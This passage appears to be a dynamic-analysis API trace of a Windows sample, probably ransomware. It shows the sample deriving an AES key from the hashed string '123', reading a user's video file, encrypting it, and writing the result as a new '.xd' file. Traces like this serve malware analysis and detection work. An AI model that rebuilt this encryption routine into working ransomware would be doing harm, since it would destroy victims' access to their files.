wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.060] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.065] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.065] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.065] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.065] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.065] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.065] CryptHashData (hHash=0x164c3f0, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.066] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.066] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.066] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.066] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.066] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c970) returned 1 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.066] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.067] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.067] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0067.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\sl471 qt10cep_01.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.067] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.067] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.067] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0067.068] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\sl471 qt10cep_01.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.070] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.070] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.072] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x8e13, lpOverlapped=0x0) returned 1 [0067.072] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.075] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.075] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.075] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.075] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.076] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.076] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.076] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.077] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.077] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.077] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.077] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.077] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.077] CryptGetKeyParam (in: hKey=0x164c970, dwParam=0x7, pbData=0x1629700, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629700*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.078] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.078] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.078] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.078] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.078] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.078] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.078] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.078] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.079] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.079] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.079] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x18e13, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x18e20) returned 1 [0067.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.080] CharLowerBuffW (in: lpsz="byte[101921]", cchLength=0xc | out: lpsz="byte[101921]") returned 0xc [0067.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.082] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.082] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.083] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.083] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e9938*, pdwDataLen=0x130e618*=0x18e13, dwBufLen=0x18e20 | out: pbData=0x17e9938*, pdwDataLen=0x130e618*=0x18e20) returned 1 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.083] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.083] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.083] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.083] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.083] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.084] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.084] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.084] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.084] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.084] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.084] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.101] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.101] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.102] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.102] WriteFile (in: hFile=0x3bc, lpBuffer=0x1895e38*, nNumberOfBytesToWrite=0x18e20, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1895e38*, lpNumberOfBytesWritten=0x130f01c*=0x18e20, lpOverlapped=0x0) returned 1 [0067.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.105] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.105] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 